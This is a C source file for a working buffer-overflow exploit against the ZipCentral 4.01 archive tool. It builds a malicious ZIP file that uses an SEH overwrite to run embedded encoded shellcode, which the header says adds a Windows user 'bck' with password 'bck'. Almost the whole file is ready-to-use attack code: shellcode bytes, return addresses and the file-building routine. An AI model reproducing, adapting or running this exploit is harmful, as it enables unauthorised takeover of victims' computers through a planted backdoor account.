zipcentral.txt

`*  
ZipCentral 4.01 Exploit by bratax (http://www.bratax.be/)  
  
Soooooo many thanks to BuzzDee and c0rrupt for helping me with all the  
problems I encountered :) Wouldn't have finished this without you guys!  
  
Greetz to everyone I like... (no, that doesn't include you turb00)!  
  
******************************  
  
Some technical info:  
- vulnerability is available here:  
http://secunia.com/secunia_research/2006-35/advisory  
- using SEH to exploit this  
- some code might look weird in this source.. (e.g. shellcode, offsets,...)  
this is because a lot of values are changed in memory.. so use your favorite  
debugger to see the real values and codes  
- shellcode adds a windows user "bck" with password "bck" (thx metasploit)  
- tested on XP Pro English (SP2) and XP Home Dutch (SP2)  
  
*/  
  
#include <stdio.h>  
#include <string.h>  
  
unsigned char scode[] =  
"\x89\x03\x59\x89\x05\x8a\x9b\x98\x98\x98\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"  
"\x42\x50\x42\x50\x42\x30\x4b\x58\x45\x34\x4e\x43\x4b\x48\x4e\x57"  
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x58\x4f\x34\x4a\x31\x4b\x58"  
"\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x58"  
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"  
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x43\x46\x45\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x38"  
"\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x44"  
"\x4b\x38\x4f\x55\x4e\x51\x41\x50\x4b\x4e\x4b\x38\x4e\x51\x4b\x58"  
"\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x33"  
"\x42\x4c\x46\x46\x4b\x58\x42\x54\x42\x53\x45\x58\x42\x4c\x4a\x57"  
"\x4e\x50\x4b\x58\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x41\x4d\x4a"  
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x58\x42\x4b"  
"\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x33"  
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57"  
"\x42\x55\x4a\x56\x42\x4f\x4c\x48\x46\x50\x4f\x35\x4a\x46\x4a\x49"  
"\x50\x4f\x4c\x48\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x56\x4d\x56"  
"\x46\x46\x50\x42\x45\x46\x4a\x57\x45\x56\x42\x52\x4f\x42\x43\x36"  
"\x42\x52\x50\x46\x45\x56\x46\x57\x42\x52\x45\x57\x43\x47\x45\x36"  
"\x44\x47\x42\x42\x44\x46\x43\x56\x4b\x36\x42\x42\x44\x56\x43\x56"  
"\x4b\x46\x42\x52\x4f\x42\x41\x34\x46\x44\x46\x34\x42\x32\x48\x42"  
"\x48\x32\x42\x32\x50\x56\x45\x46\x46\x57\x42\x52\x4e\x36\x4f\x36"  
"\x43\x46\x41\x56\x4e\x56\x47\x36\x44\x37\x4f\x46\x45\x37\x42\x37"  
"\x42\x52\x41\x54\x46\x56\x4d\x36\x49\x36\x50\x36\x49\x56\x43\x37"  
"\x46\x57\x44\x47\x41\x56\x46\x37\x4f\x56\x44\x47\x43\x57\x42\x52"  
"\x44\x56\x43\x46\x4b\x46\x42\x32\x4f\x52\x41\x54\x46\x34\x46\x44"  
"\x42\x30\x5a";  
  
char head[] = "\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00"  
"\xB7\xAC\xCE\x34\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x14\x08\x00";  
char middle[] = "\x2e\x74\x78\x74\x50\x4B\x01\x02\x14\x00"  
"\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x14\x08\x00\x00\x00\x00\x00\x00"  
"\x01\x00\x24\x00\x00\x00\x00\x00\x00";  
char tail[] = "\x2e\x74\x78\x74\x50\x4B\x05\x06\x00\x00"  
"\x00\x00\x01\x00\x01\x00\x42\x08\x00\x00"  
"\x32\x08\x00\x00\x00";  
  
int main(int argc,char *argv[])  
{  
char overflow[657]; // is 657 bytes big enough for a filename?  
char overflow2[1407];  
FILE *vuln;  
if(argc == 1)  
{  
printf("ZipCentral 4.01 Buffer Overflow Exploit.\n");  
printf("Coded by bratax (http://www.bratax.be/).\n");  
printf("Usage: %s <outputfile>\n",argv[0]);  
return 0;  
}  
vuln = fopen(argv[1],"w");  
  
//build overflow buffer here.  
memset(overflow,0x41,sizeof(overflow)); //fill with crap  
memcpy(overflow+2, scode, 483); // our shellcode  
memcpy(overflow+653, "\x82\x6E\xEC\x98", 4); // jmp back to shellcode  
memset(overflow2, 0x42, sizeof(overflow2)); // more crap  
memcpy(overflow2+0,"\x98\x85\x8E\x00", 4); // pop pop ret  
// pop pop ret somewhere within 0x00xxxxFF.. needed because of 2 reasons  
// which I'm not going to explain here right now..  
// notice that 008E8598 will be changed in memory and will become 00C4E0FF  
// this might be different on other machines, but will always be 00xxE0FF  
  
  
if(vuln)  
{  
//Write file  
fwrite(head, 1, sizeof(head), vuln);  
fwrite(overflow, 1, sizeof(overflow), vuln);  
fwrite(overflow2, 1, sizeof(overflow2), vuln);  
fwrite(middle, 1, sizeof(middle), vuln);  
fwrite(overflow, 1, sizeof(overflow), vuln);  
fwrite(overflow2, 1, sizeof(overflow2), vuln);  
fwrite(tail, 1, sizeof(tail), vuln);  
fclose(vuln);  
}  
printf("File written.\nOpen with ZipCentral 4.01 to exploit.\n");  
return 0;  
}  
  
  
`